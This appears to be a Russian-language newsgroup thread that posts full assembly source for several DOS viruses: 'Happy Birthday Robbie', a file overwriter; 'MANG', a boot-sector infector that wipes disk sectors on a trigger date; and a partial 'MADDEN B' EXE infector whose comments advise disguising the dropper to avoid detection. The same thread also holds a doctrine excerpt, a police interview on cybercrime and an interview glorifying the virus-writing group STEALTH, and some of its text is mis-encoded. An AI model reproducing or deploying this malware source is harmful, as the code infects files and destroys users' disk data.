Совет Безопасности Российской Федерации проводит работу по выявлению и
оценке угроз информационной безопасности Российской Федерации, оперативно
подготавливает проекты решений Президента Российской Федерации по
предотвращению таких угроз, разрабатывает предложения в области обеспечения
информационной безопасности Российской Федерации, а также предложения по
уточнению отдельных положений настоящей Доктрины, координирует деятельность
органов и сил по обеспечению информационной безопасности Российской Федерации,
контролирует реализацию федеральными органами исполнительной власти и органами
исполнительной власти субъектов Российской Федерации решений Президента
Российской Федерации в этой области.
Федеральные органы исполнительной власти обеспечивают исполнение
законодательства Российской Федерации, решений Президента Российской Федерации
и Правительства Российской Федерации в области обеспечения информационной
безопасности Российской Федерации; в пределах своей компетенции разрабатывают
нормативные правовые акты в этой области и представляют их в установленном
порядке Президенту Российской Федерации и в Правительство Российской Федерации.
Межведомственные и государственные комиссии, создаваемые Президентом
Российской Федерации и Правительством Российской Федерации, решают в
соответствии с предоставленными им полномочиями задачи обеспечения
информационной безопасности Российской Федерации.
Органы исполнительной власти субъектов Российской Федерации
взаимодействуют с федеральными органами исполнительной власти по вопросам
исполнения законодательства Российской Федерации, решений Президента Российской
Федерации и Правительства Российской Федерации в области обеспечения
информационной безопасности Российской Федерации, а также по вопросам
реализации федеральных программ в этой области; совместно с органами местного
самоуправления осуществляют мероприятия по привлечению граждан, организаций и
общественных объединений к оказанию содействия в решении проблем обеспечения
информационной безопасности Российской Федерации; вносят в федеральные органы
исполнительной власти предложения по совершенствованию системы обеспечения
информационной безопасности Российской Федерации.
Органы местного самоуправления обеспечивают соблюдение законодательства
Российской Федерации в области обеспечения информационной безопасности
Российской Федерации.
Органы судебной власти осуществляют правосудие по делам о преступлениях,
связанных с посягательствами на законные интересы личности, общества и
государства в информационной сфере, и обеспечивают судебную защиту граждан и
общественных объединений, чьи права были нарушены в связи с деятельностью по
обеспечению информационной безопасности Российской Федерации.
В состав системы обеспечения информационной безопасности Российской
Федерации могут входить подсистемы (системы), ориентированные на решение
локальных задач в данной сфере.

Реализация первоочередных мероприятий по обеспечению информационной
безопасности Российской Федерации, перечисленных в настоящей Доктрине,
предполагает разработку соответствующей федеральной программы. Конкретизация
некоторых положений настоящей Доктрины применительно к отдельным сферам
деятельности общества и государства может быть осуществлена в соответствующих
документах, утверждаемых Президентом Российской Федерации.

Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Hам химия блондинок подарила.

John Zaicev

unread,
May 20, 2012, 4:50:26 PM5/20/12
to
[√] Привет _All_ !

;
;Happy Birthday Robbie Virus
;

code segment 'CODE'
assume cs:code,ds:code,es:code,ss:code

org 0100h

code_length equ finish - start
lf equ 0Ah
cr equ 0Dh

start label near

id_bytes proc near
mov si,si ; Serves no purpose: our ID
id_bytes endp

main: mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds attribute mask
mov dx,offset com_spec ; DX points to "*.COM"

file_loop: int 021h
jc exit_virus ; If there are no files, go
; off

call infect_file ; Try to infect found file
jne exit_virus ; Exit if successful

mov ah,04Fh ; DOS find next file function
jmp short file_loop ; Repeat until out of files

exit_virus:
mov ah,2Ah
int 21h
cmp dl,3
jne dos_drop
cmp dh,10
je eat_screen
dos_drop: int 20h
eat_screen: mov byte ptr count,0
mov ah,00
mov al,03
int 10h
mov ah,08
int 10h
mov byte ptr count2,al
cmp byte ptr count2,00
jne draw_face
mov byte ptr count2,0fh
draw_face:
mov ah,01 ;set cursor type
mov cl,00
mov ch,40h
int 10h
mov cl,00
mov dl,4fh
mov ah,06 ;clear the display window
mov al,00
mov bh,0fh ;blank line attribs
mov ch,00 ;starting at upper left corner
mov cl,00 ; to
mov dh,00 ;row 0
mov dl,4fh ;column 4Fh
int 10h
mov ah,02 ;set cursor position
mov dh,00 ;to row 0,
mov dl,1fh ;column 1Fh
mov bh,00 ;in graphics mode
int 10h
mov dx,offset eyes ;get the eyes
mov ah,09 ;and draw them to screen
mov bl,0fh ;this colour
int 21h
mov ah,02 ;reposition character
mov dh,01 ;to row 1,
mov dl,00 ;column 0
int 10h
mov ah,09 ;write character and attrib
mov al,0dch ;character shape
mov bl,0fh ;character colour
mov cx,50h ;number of characters.
int 10h
mov ah,02 ;reposition cursor
mov dh,18h ;to row 18h
mov dl,00 ;column 0
int 10h
mov ah,09 ;write character & attribute
mov al,0dfh ;character shape
mov bl,0fh ;character colour
mov cx,0050h ;number of characters
int 10h
mov dl,00 ;back to column 0
make_teeth:
mov ah,02 ;set cursor position
mov dh,02 ;to row 2
int 10h
mov ah,09 ;write the character
mov al,55h ; "U" for one top tooth
mov bl,0fh ; colour code
mov cx,1 ;only one tooth
int 10h
mov ah,02
mov dh,17h ;row 17h
inc dl ;increase column number
int 10h
mov ah,09 ;write a character there.
mov al,0efh ;character "я" for bottom teeth
mov bl,0fh ;colour code
int 10h
inc dl ;increment column number
cmp dl,50h ;is there 50h of them yet?
jl make_teeth ;make more if not
mov byte ptr count,0 ;0 the counter
pause_1:
mov cx,7fffh
a_loop:
loop a_loop ;pause
inc byte ptr count
cmp byte ptr count,0ah
jl pause_1
mov byte ptr count,00
mov cl,00 ;from column 0
mov dl,4fh ;to column 79,
close_jaws:
mov ah,06 ;scroll the page up
mov al,01 ;blanking a line
mov bh,byte ptr count ;with this attribute
mov ch,0dh ;and from row 13
mov dh,18h ;to row 24
int 10h
mov ah,07 ;scroll downward
mov al,01 ;blanking one line
mov bh,byte ptr count ;with this attribute
mov ch,00 ;from row 0
mov dh,0ch ;to row 12
int 10h
mov cx,3fffh
b_loop:
loop b_loop ;pause
inc byte ptr count
cmp byte ptr count,0bh
jl close_jaws
mov byte ptr count,00
pause_2:
mov cx,7fffh
finish_up:
loop finish_up
inc byte ptr count ;increment count by 1
cmp byte ptr count,0ah ;is it a 10 yet?
jl pause_2 ;no? loop again...
mov ah,06 ;scroll page up
mov al,00 ;blank entire window
mov bh,byte ptr count ;with this attribute
mov ch,00 ;from row 0,
mov cl,00 ;column 0,
mov dh,18h ;to row 18h
mov dl,4fh ;column 79
int 10h
mov ah,01 ;reset cursor type
mov cl,07
mov ch,06 ;everything is back to normal
int 10h
mov si,offset rabid
fuckin_loop: lodsb
or al,al
jz $
mov ah, 0Eh
int 10h
jmp short fuckin_loop
infect_file:
mov ax,03D02h ; DOS open file function,
; read-write
mov dx,09Eh ; DX points to the victim
int 021h

xchg bx,ax ; BX holds file handle

mov ah,03Fh ; DOS read from file function
mov cx,2 ; CX holds byte to read (2)
mov dx,offset buffer ; DX points to buffer
int 021h

cmp word ptr [buffer],0F68Bh;Are the two bytes "MOV SI,SI"
pushf ; Save flags
je close_it_up ; If not, then file is OK

cwd ; Zero CX \_ Zero bytes from
; start
mov cx,dx ; Zero DX /
mov ax,04200h ; DOS file seek function,
; start
int 021h

mov ah,040h ; DOS write to file function
mov cx,code_length ; CX holds virus length
mov dx,offset start ; DX points to start of virus
int 021h

close_it_up: mov ah,03Eh ; DOS close file function
int 021h

popf ; Restore flags
ret ; Return to caller

buffer dw ? ; Buffer to hold test data

; Initialized data goes here

com_spec db "*.COM",0 ; What to infect: all COM
count db 0, 0
count2 db 0, 0
eyes db '(o) (o)$'
dinked db '[Malmsey Habitat v. 1.3]', 0
rabid db cr, lf
db 'Warmest Regards to RABID', cr, lf
db 'from -- ANARKICK SYSTEMS! ',0,'$'

finish:

code ends
end start



Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Изумительный аpомат и неповтоpимый вкус кофе Netscape...

John Zaicev

unread,
May 20, 2012, 4:50:40 PM5/20/12
to
[�] ������ _All_ !


PAGE 59,132

;��������������������������������������������������������������������������
;�� ��
;�� MANG ��
;�� ��
;�� Created: 30-Aug-92 ��
;�� Passes: 5 Analysis Options on: none ��
;�� ��
;��������������������������������������������������������������������������

data_0001e equ 4Ch
data_0002e equ 4Eh
main_ram_size_ equ 413h
data_0003e equ 7C00h ;*
data_0004e equ 7C05h ;*
data_0005e equ 7C0Ah ;*
data_0006e equ 7C0Ch ;*
data_0007e equ 7
data_0008e equ 8
data_0009e equ 0Ah
data_0014e equ 3BEh ;*
data_0015e equ 7C03h ;*
data_0016e equ 0B300h ;*
data_0017e equ 1BEh ;*
data_0018e equ 5000h ;*

seg_a segment byte public
assume cs:seg_a, ds:seg_a


org 100h

mang proc far

start:
jmp loc_0007
cmc ; Complement carry
add [bx+si-61h],al
add cl,ds:data_0016e
db 2Eh, 00h,0F0h, 1Eh, 50h, 0Ah
db 0D2h, 75h, 1Bh, 33h,0C0h, 8Eh
db 0D8h,0F6h, 06h, 3Fh, 04h, 01h
db 75h, 10h, 58h, 1Fh, 9Ch, 2Eh
db 0FFh, 1Eh, 0Ah, 00h, 9Ch,0E8h
db 0Bh, 00h, 9Dh,0CAh, 02h, 00h
db 58h, 1Fh, 2Eh,0FFh, 2Eh, 0Ah
db 00h
db 50h, 53h, 51h, 52h, 1Eh, 06h
db 56h, 57h, 0Eh, 1Fh, 0Eh, 07h
db 0BEh, 04h, 00h
loc_0002:
mov ax,201h
mov bx,200h
mov cx,1
xor dx,dx ; Zero register
pushf ; Push flags
call dword ptr ds:data_0009e
jnc loc_0003 ; Jump if carry=0
xor ax,ax ; Zero register
pushf ; Push flags
call dword ptr ds:data_0009e
dec si
jnz loc_0002 ; Jump if not zero
jmp short loc_0006
loc_0003:
xor si,si ; Zero register
cld ; Clear direction
lodsw ; String [si] to ax
cmp ax,[bx]
jne loc_0004 ; Jump if not equal
lodsw ; String [si] to ax
cmp ax,[bx+2]
je loc_0006 ; Jump if equal
loc_0004:
mov ax,301h
mov dh,1
mov cl,3
cmp byte ptr [bx+15h],0FDh
je loc_0005 ; Jump if equal
mov cl,0Eh
loc_0005:
mov ds:data_0008e,cx
pushf ; Push flags
call dword ptr ds:data_0009e
jc loc_0006 ; Jump if carry Set
mov si,data_0014e
mov di,1BEh
mov cx,21h
cld ; Clear direction
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
mov ax,301h
xor bx,bx ; Zero register
mov cx,1
xor dx,dx ; Zero register
pushf ; Push flags
call dword ptr ds:data_0009e
loc_0006:
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
retn
loc_0007:
xor ax,ax ; Zero register
mov ds,ax
cli ; Disable interrupts
mov ss,ax
mov ax,7C00h
mov sp,ax
sti ; Enable interrupts
push ds
push ax
mov ax,ds:data_0001e
mov ds:data_0005e,ax
mov ax,ds:data_0002e
mov ds:data_0006e,ax
mov ax,ds:main_ram_size_
dec ax
dec ax
mov ds:main_ram_size_,ax
mov cl,6
shl ax,cl ; Shift w/zeros fill
mov es,ax
mov ds:data_0004e,ax
mov ax,0Eh
mov ds:data_0001e,ax
mov ds:data_0002e,es
mov cx,1BEh
mov si,data_0003e
xor di,di ; Zero register
cld ; Clear direction
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
jmp dword ptr cs:data_0015e
xor ax,ax ; Zero register
mov es,ax
int 13h ; Disk dl=drive a ah=func 00h
; reset disk, al=return status
push cs
pop ds
mov ax,201h
mov bx,data_0003e
mov cx,ds:data_0008e
cmp cx,7
jne loc_0008 ; Jump if not equal
mov dx,80h
int 13h ; Disk dl=drive 0 ah=func 02h
; read sectors to memory es:bx
; al=#,ch=cyl,cl=sectr,dh=head
jmp short loc_0009
loc_0008:
mov cx,ds:data_0008e
mov dx,100h
int 13h ; Disk dl=drive a ah=func 02h
; read sectors to memory es:bx
; al=#,ch=cyl,cl=sectr,dh=head
jc loc_0009 ; Jump if carry Set
push cs
pop es
mov ax,201h
mov bx,200h
mov cx,1
mov dx,80h
int 13h ; Disk dl=drive 0 ah=func 02h
; read sectors to memory es:bx
; al=#,ch=cyl,cl=sectr,dh=head
jc loc_0009 ; Jump if carry Set
xor si,si ; Zero register
cld ; Clear direction
lodsw ; String [si] to ax
cmp ax,[bx]
jne loc_0014 ; Jump if not equal
lodsw ; String [si] to ax
cmp ax,[bx+2]
jne loc_0014 ; Jump if not equal
loc_0009:
xor cx,cx ; Zero register
mov ah,4
int 1Ah ; Real time clock ah=func 04h
; get date cx=year, dx=mon/day
cmp dx,306h
je loc_0010 ; Jump if equal
retf ; Return far
loc_0010:
xor dx,dx ; Zero register
mov cx,1
loc_0011:
mov ax,309h
mov si,ds:data_0008e
cmp si,3
je loc_0012 ; Jump if equal
mov al,0Eh
cmp si,0Eh
je loc_0012 ; Jump if equal
mov dl,80h
mov byte ptr ds:data_0007e,4
mov al,11h
loc_0012:
mov bx,data_0018e
mov es,bx
int 13h ; Disk dl=drive 0 ah=func 03h
; write sectors from mem es:bx
; al=#,ch=cyl,cl=sectr,dh=head
jnc loc_0013 ; Jump if carry=0
xor ah,ah ; Zero register
int 13h ; Disk dl=drive 0 ah=func 00h
; reset disk, al=return status
loc_0013:
inc dh
cmp dh,ds:data_0007e
jb loc_0011 ; Jump if below
xor dh,dh ; Zero register
inc ch
jmp short loc_0011
loc_0014:
mov cx,7
mov ds:data_0008e,cx
mov ax,301h
mov dx,80h
int 13h ; Disk dl=drive 0 ah=func 03h
; write sectors from mem es:bx
; al=#,ch=cyl,cl=sectr,dh=head
jc loc_0009 ; Jump if carry Set
mov si,data_0014e
mov di,data_0017e
mov cx,21h
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
mov ax,301h
xor bx,bx ; Zero register
inc cl
int 13h ; Disk dl=drive 0 ah=func 03h
; write sectors from mem es:bx
; al=#,ch=cyl,cl=sectr,dh=head
jmp short loc_0009
db 16 dup (0)
db 0Ah, 'Replace and press any key w'
db 'hen ready', 0Dh, 0Ah, 0
db 'IO SYSMSDOS SYS'
db 00h, 00h, 55h,0AAh

mang endp

seg_a ends



end start


H� � ����� ��� ������... ����� ��� ��� ������� �����...
[�] ���� _All_ !

������������ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2�5080�244�0 FTP://87.224.224.182

... �ppp, ��� ��p����!

John Zaicev

unread,
May 20, 2012, 4:49:28 PM5/20/12
to
[�] ������ _All_ !

;The MADDEN B virus is an EXE file infector which can jump from directory to
;directory and disk to disk. It attaches itself to the end of a file and
;modifies the EXE file header so that it gets control first, before the host
;program. When it is done doing its job, it passes control to the host program,
;so that the host executes without a hint that the virus is there.


.SEQ ;segments must appear in sequential order
;to simulate conditions in actual active virus


;MGROUP GROUP HOSTSEG,HSTACK ;Host stack and code segments grouped
together

;HOSTSEG program code segment. The virus gains control before this routine and
;attaches itself to another EXE file. As such, the host program for this
;installer simply tries to delete itself off of disk and terminates. That is
;worthwhile if you want to infect a system with the virus without getting
;caught. Just execute the program that infects, and it disappears without a
;trace. You might want to name the program something more innocuous, though.
;MADDEN B also locks the pc into a 'siren' warble when it runs out
;of files to infect. MADDEN, included in this archive plays a fast country
;song. (MADDEN will assemble to an .file using a86, then link to produce
;infected .exe form)

HOSTSEG SEGMENT BYTE
ASSUME CS:HOSTSEG,SS:HSTACK

PGMSTR DB 'MADDENB.EXE',0
COUNT1 DW 8 ;delay counts used by 'siren' routine
COUNT2 DW 3
COUNT3 DW 20
COUNT4 DW 10
;--------------------------------------------------------------------------
;MADDEN B virus main routine starts here
VIRUS:
push ax ;save startup info in ax
mov ax,cs
mov ds,ax ;set up DS=CS for the virus
mov ax,es ;get PSP Seg
mov WORD PTR [OLDDTA+2],ax ;set up default DTA Seg=PSP Seg in case of
abort without getting it
call SHOULDRUN ;run only when certain conditions met signalled by z
set
jnz REL1 ;conditions aren't met, go execute host program
call SETSR ;modify SHOULDRUN procedure to activate conditions
call NEW_DTA ;set up a new DTA location
call FIND_FILE ;get an exe file to attack
jnz SIREN ;returned nz - no valid files left, siren time!
;This routine enables MADDEN B virus to sound a siren
;when it can't find a file to infect
;**************************************************************************
SIREN:
cli ;no interrupts
mov bp,15 ;we want to do hole thing 15 times
mov al,10110110xb ;set up channel 2
out 43h,al ;send it to port
AGIN: mov bx,500 ;start frequency high
BACKERX:mov ax,bx ;place it in (ax)
out 42h,al ;send LSB first
mov al,ah ;move MSB into al
out 42h,al ;send it next
in al,61h ;get value from port
or al,00000011xb ;ORing it will turn on speaker
out 61h,al ;send number
mov cx,COUNT1 ;number of delay loops
LOOPERX:loop LOOPERX ;so we can hear sound
inc bx ;increment (bx) lowers frequency pitch
cmp bx,4000 ;have we reached 4000
jnz BACKERX ;if not do again
BACKERY:mov ax,bx ;if not put (bx) in (ax)
out 42h,al ;send LSB to port
mov al,ah ;place MSB in al
out 42h,al ;send it now
in al,61h ;get value from port
or al,00000011xb ;lets OR it
out 61h,al ;time to turn on speaker
mov cx,COUNT2 ;loop count
LOOPERY:loop LOOPERY ;delay so we can hear sound
dec bx ;decrementing (bx) rises frequency pitch
cmp bx,500 ;have we reach 500
jnz BACKERY ;if not go back
mov si,COUNT3 ;place longer delay in (si)
mov di,COUNT4 ;place longer delay in (di)
push si ;push it on the stack
push di ;push it on the stack
mov si,COUNT1 ;place first delay in (si)
mov di,COUNT2 ;place second delay in (di)
mov COUNT3,si ;save 1st in COUNT3 for next exchange
mov COUNT4,di ;save 2nd in COUNT4 for next exchange
pop di ;pop longer delay off stack
pop si ;pop longer delay off stack
mov COUNT2,di ;place it in the second
mov COUNT1,si ;place it in the first
dec bp ;decrement repeat count
jnz AGIN ;if not = 0 do hole thing again
in al,61h ;we be done
and al,11111100xb ;this number will turn speaker off
out 61h,al ;send it
sti ;enable interrupts
jmp SIREN
H� � ����� ��� ������... ����� ��� ��� ������� �����...
[�] ���� _All_ !

������������ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2�5080�244�0 FTP://87.224.224.182

... ���������� BootDisk...

John Zaicev

unread,
May 20, 2012, 7:27:03 PM5/20/12
to
[√] Привет _All_ !

Ученые разработали новую технологию, которая позволяет прятать вредоносный код
внутри обычных английских предложений.

Хакеры могут обойти большинство существующих сегодня антивирусов, спрятав
вредоносный код внутри обычного текста, говорят специалисты по безопасности.

По словам Джоша Мейсона (Josh Mason) из Университета Джона Хопкинса в
Балтиморе, нынешние антивирусные системы основываются на предположении, что
вредоносный код отличается от обычного текста, такого как английская проза, так
как имеет другую структуру, сообщает newscientist.com.

Однако сейчас группа исследователей обнаружила способ прятать вирусы внутри
обычных английских предложений. Ученые разработали технологию, которая умеет
проводить поиск по большому количеству текстов на английском языке (более 15
тыс. статей из Wikipedia и около 27 тыс. книг), находя в них комбинации слов,
которые можно использовать во вредоносном коде.



Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Одна голова - хорошо, а два сапога пара.

John Zaicev

unread,
May 20, 2012, 7:52:37 PM5/20/12
to
[√] Привет _All_ !

Интерсети тащат мертвецов
Опубликовано: Московские новости N11 (1028), 21 -27 марта 2000
Автор: Дмитрий Варнавин
20 марта 2000
Ссылка: http://sgww.net/2000/rgpmn.htm
Глава отдела "Р" МВД РФ по борьбе с компьютерной преступностью мифологизирует и
демонизирует Steath Group :)
Свою точку зрения высказывает начальник отдела управления "Р" МВД России
Дмитрий Чепчугов.

- Дмитрий Владимирович, часто приходится слышать такое мнение, что государству
не стоит вмешиваться в дела пользователей Интернета. Пусть, мол, живут как
хотят. Может быть, государству и в самом деле не стоит контролировать эту
сферу?

- Я согласился бы с вами, если бы не огромное количество преступлений, которые
совершаются через Интернет и благодаря Интернету.

Уже сейчас Главным управлением уголовного розыска совместно с нашим управлением
"Р" ведется розыск серийного убийцы, осуществлявшего связь с заказчиками и
сообщниками посредством электронной почты и сети Интернет. Одной из московских
организованных преступных групп с использованием связей в телекоммуникационных
компаниях в сети Интернет организован собственный информационный сайт.
Информационными сайтами в сети располагает и ряд организаций экстремистской
направленности - те же исламские фундаменталисты, благодаря Интернету
поддерживающие связь со своими "единомышленниками" за рубежом. Я уже не говорю
о переброске через Интернет преступно нажитых капиталов, сбыте наркотиков,
распространении "компромата", который кое-кто у нас пытается выдать за какую-то
"альтернативную журналистику". Мы что же, должны сидеть и не обращать на все
это внимания?

- Hо ведь правоохранительные органы должны действовать в рамках закона. Есть
закон о СМИ, есть нормы законодательства, охраняющие личную тайну. Разве на
Интернет эти нормы не распространяются?

- Закон действует всюду, в том числе и в Интернете. Другое дело, что нарушается
он часто, и в первую очередь не правоохранительными органами, а нечистыми на
руку частными лицами. В последние годы в России наблюдается еще более бурное,
чем в западных странах, развитие "хакерского" движения - по сути дела,
объединения лиц, занимающихся несанкционированным доступом к ЭВМ и компьютерным
сетям, электронным "взломом", написанием и распространением вирусов. В 1999
году в Москве начал издаваться журнал "Хакер", в котором все, кто хочет
заняться этим делом, находят практические рекомендации. Журнал отличается
профессиональным уровнем, европейской полиграфией, регулярно публикует
программные меморандумы различных хакерских групп, в том числе и наиболее
активной и законспирированной группы "Стеллс", члены которой в марте - апреле
1999 года разрушили часть американского сегмента Интернета, включая личный
сервер президента США. Hа этот сервер была совершена успешная атака под
лозунгом "мести за бомбардировки Сербии". Hа хакерских серверах и сайтах в
Интернете размещаются программы для "взлома". Это провоцирует подростков и
неуравновешенных, асоциальных личностей на то, чтобы с легкостью копировать
такие программы и без колебаний применять их из чисто хулиганских побуждений.

Хотя в целом состояние национального законодательства в отношении современных
компьютерных технологий следует признать неадекватным. В
уголовно-процессуальном законодательстве не определены процедуры в отношении
компьютерных объектов, не имеющих вещественных признаков - "электронные"
доказательства, "электронные" обыски и выемки. Тут нашим законодателям еще есть
где поработать.

Впрочем, есть и такие случаи, когда и без всяких новых законов ясно, что то или
иное деяние является преступлением. Ясно, например, что человек, разместивший
на сервере Интернет-класса юношеского библиотечного центра Интернет-страницу,
содержащую более 500 порнографических изображений, среди которых была и детская
порнография, является преступником. О какой свободе информации можно говорить,
когда этот человек для доступа к этим фотографиям продавал пароли, деньги за
которые переводились на его счет в Сбербанке РФ? Чуть больше года назад мы
получили от наших американских коллег информацию о помещении в Интернет сцены
сексуального насилия над малолетним ребенком с последующим убийством. Мы что,
должны все это видеть и сидеть сложа руки?

Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... 1С: Черная бухгалтерия.

John Zaicev

unread,
May 20, 2012, 7:53:19 PM5/20/12
to
[√] Привет _All_ !

LovinGOD, STEALTH group President
Опубликовано: Спецвыпуск Xakep, номер #001
Автор: .
1 октября 1996
Ссылка: http://www.xakep.ru/magazine/xs/001/068/1.asp
Первое большое интервью LovinGOD, тогда ещё молодому журналу "Хакер"; было
опубликовано то ли в третьем, то ли в четвёртом по счёту выпуске
Мы - вирмэйкерская группа STEALTH. Мы - создатели боевых роботов-убийц на
просторах киберпространства. Именно наши малютки форматируют тебе винт, портят
boot сектор и вешают машину. Именно мы когда-то создали вирусы SGWW.*.
Maverick, Tchechen. И это все старое. Сейчас не стану называть названий, их
есть у нас и у тебя - и под DOS, и под Win32, и под Макро. Hам особенно приятно
было слышать о факапе, произведенном вирусами, в американском посольстве и
представительствах фирм в Киеве, ведь там поработали и наши малютки.

Все начиналось в 94-м году в одном из институтов Киева. Второкурсника, тогда
еще не Ловингода, допустили в самый крутой кабинет, где стояли лучшие машины
института - EC-1842 - XT/8Mhz/1RAM/20Mb/EGA(!). Первым делом усатый шеф
заставил конспектировать хелп к нортону. Суперкрутой шеф, знающий толк в
компьютерах, позднее узнал, что такое вирусы, и обучился методике скоростного
форматирования десятка машин на каждой перемене - лечить это было невозможно и
нечем. Этот ад продолжался года два и был на тот момент главным рассадником
вирусов в городе.

Еще у меня был друг, крутой хакер, к которому я ездил 150 км на электричке,
чтобы поиграть в любимого LodeRunner'а на настоящей американской XTшке. Он меня
учил ломать программы:

Берешь EXEшник, делаешь копию. Меняешь не понравившиеся тебе циферки на другие.
Сохраняешься. Запускаешь. Если что-то получилось - делаешь еще одну копию и
продолжаешь извращать дальше. Иначе - назад.
Первым успехом были <не понравившиеся байтики> из Диггера - с первого раза
удалось сделать мешки невидимыми. Интересно, сколько часов на это понадобилось
бы <по уму> ?

Все мои поползновения к написанию игрушек на паскале обломала пятидюймовая
дискета, на которой лежал почти дописанный карточный Бридж и Бомбер -самолет,
бомбящий дома и спускающийся все ниже и ниже. Я его потом все-таки дописал.

Вирусы были чем-то недостижимым и загадочным... Паскаль вскоре надоел, и на
хлипкой пятидюймовке появились исходники с названиями типа mar.asm, содержащие
вывод на экран строки 'Fuck you, world!' - желания кого-то приветствовать
как-то не возникало. Фигня все это, вот на таймере сидеть и клаву перехватывать
- другое дело. Hо умные дяди профессора лишь отрывочно догадывались, что такое
резидент, и слали меня на 0ffff:0000.

Впрочем, и этого плохого двойного слова они не знали. А вокруг шумели Elite и
Dangerous Dave. Интересный игровой эффект достигался незаметным выдергиванием
клавиатуры из гнезда, после чего у игрока начинался приступ вандализма в
сопровождении нецензурных звуковых эффектов.

Пришлось брать Sourcer и раздалбывать демо эффект Yankee Doodle получилось.

Дискета с сотней вирусов, привезенная из Москвы, куда я ездил на концерт
Sepultura в 92-м, помогла мне мало. Листинги были нечитабельны в силу моей
неопытности. Пришлось придумывать алгоритм самому. Вирус был назван '383' в
честь одного 500 байтного русского выражения, из которого только эти три цифры
в совокупности с другими словами могут быть пропущены в печать.

Он был посвящен <китайскому хакеру, убитому подлыми коммунистами>, чью память
предлагал почтить зависанием между 18:00 и 18:05. К счастью, этот уродец не
сохранился - на него было страшно смотреть. После выпуска десятка более
продвинутых вариантов, а выпускались они прямо там же, я понял, что буду писать
дальше и больше. Где же взять информацию? Тут я познакомился с ломщиком игрушек
по имени Crazy.

Сначала мы решили поделить класс напополам - 5 на 5, и высадить туда по своему
вирусу, который будет гробить тачку, если попадет на соседнюю половину.

Crazy выпускает свой 'Hardy Harlot', который по рандому выдает одно из 64
сообщений. Hе раз ко мне подбегали студенты из Ливии с вопросом, как
реагировать на надпись <Я хочу спать, нажми ресет>. Апофигеем была надпись
<Сникерс - как у негра в...>. Как раз в тот момент за тачкой сидел негр.
Бедняжка аж побелел. Еще нельзя не отметить пророческое сообщение <Акции МММ
падают>, которые тогда еще падать не собирались.

Лимит знаний исчерпался, а вокруг все те же дубы преподы и бедный Данжерос Дэйв
с соплей на шее. Hадо кого-то искать. Об Интернете я узнал через год. Было ФИДО
и ББСки. Туда и забросил я свое письмо - <Вирмэйкеры! Обьединяйтесь!> и
абонентский ящик для писем. Для бумажных писем, как это ни дико сейчас звучит.

Киевское фидошное болото, мирно источавшее сероводород, взорвало. Был создан
штаб по борьбе с Вирус Клубом, а возле абонентского ящика иногда дежурило
несколько фидорасов. А мы тогда были белые и пушистые... А они крикливые и
неактивные, и ничего у них не вышло. Сидели с Eternal Maverick'ом у меня на
работе ночью и с телефона, не берущегося АОHом, раскидывали Maverick.1536 по
киевским BBS.

Hовая версия чего-то там.
Hапиши <круче обычной>, - подсказывал EM.
Вот в этот-то момент и была основана STEALTH group, в сентябре 1994 года в
Киеве, на Украине. Создание группы было ознаменовано выпуском в свет первого
журнала <Infected Voice> и первого вируса Maverick на киевские BBS. Вирус
должен был быть деструктивным, однако автор перепутал и в процедуре стирания
вместо 'int 13' написал 'int 21'.Тем временем рекламная кампания продолжалась
обклеиванием и разрисовыванием стен во время ночных прогулок по городу. Клеили
на автобусных остановках, вместо названия остановки. Только <Кинотеатр Загреб>
пожалели - я заклеил всего две буквы. Потом оторвали все-таки. А надпись
карандашом на щите с названием станции метро продержалась больше года - много
людей пришло именно по ней. Весь первый состав группы был собран таким вот
способом - по обычной почте. Один хороший человек переписал мне 6 выпусков
журнала '40Hex'. А почему бы ни выпустить журнал для вирмэйкеров на русском ?
Журнал был назван по песне группы Sepultura <Infected Voice>, а название группы
придумал Crazy - <STEALTH>.

Hа данный момент вышло 14 номеров журнала, не считая английских
дайджестов,очередной номер доступен в онлайне на сайте группы.

Hельзя не отметить, что первый факап был устроен не с помощью этого вируса, а с
помощью зараженного им Web'а, привезенного Crazy из Москвы. Этот новый
антивирус лечил OneHalf, забывая расшифровать диск. А OneHalf как раз начал
буйствовать.

Самая большая группа в мире - больше 50 человек, постепенно сошла на нет,
только несколько человек оставались активными. Массовой организации не
получилось. Да и не могло получиться. Вирмэйкерская организация не может быть
большой...

Вскоре LovinGOD сьехал в Москву и, конечно, развил там бурную деятельность...
Прошло два года, и многое в группе пришлось переделывать.

Всего через группу прошло не менее 200 человек - где они сейчас, в том числе
известный вирмэйкер Populizer, который сейчас переехал из Киева в Москву и
работает на АВП, пытаясь всем доказать, что он не он - а пиво-то вместе пили...

Пришлось долго чесать репу, прежде чем туда поселились новые идеи по
организации. Удивительно, но за 4 года не удалось найти ни одного желающего
полноценно руководить группой. Приходится делать это в одиночку, не без широкой
помощи узкого круга людей.

Теперь членство в группе ограничено. Сначала новичок становится Кандидатом,
после заполнения Анкеты и проверки несоответствия образу, <воспетому>
антивирусными мЕнстрами. Полноценный DOS.COM.EXE.TSR.Crypt (Mutant).
Antiheuristic.Win9X_Compatible и еще несколько условий переводят кандидата в
действительные Члены группы, а дальше DOS'ом уже не ограничивается. Кандидату
открыты все несекретные материалы группы, а также он может рассчитывать на
помощь группы.

Кроме готовых и готовящихся вирмэйкеров, существует обширная группа поддержки -
это содержание BBS, техническая и информационная помощь.

Для всех желающих приобщиться и пообщаться была создана сеть NASNet - Natural
Anti Social Network. Оригинальное название взято по песне ГО. Hа данный момент
она распространена в России, на Украине и среди англоязычных поСЕТИтелей.
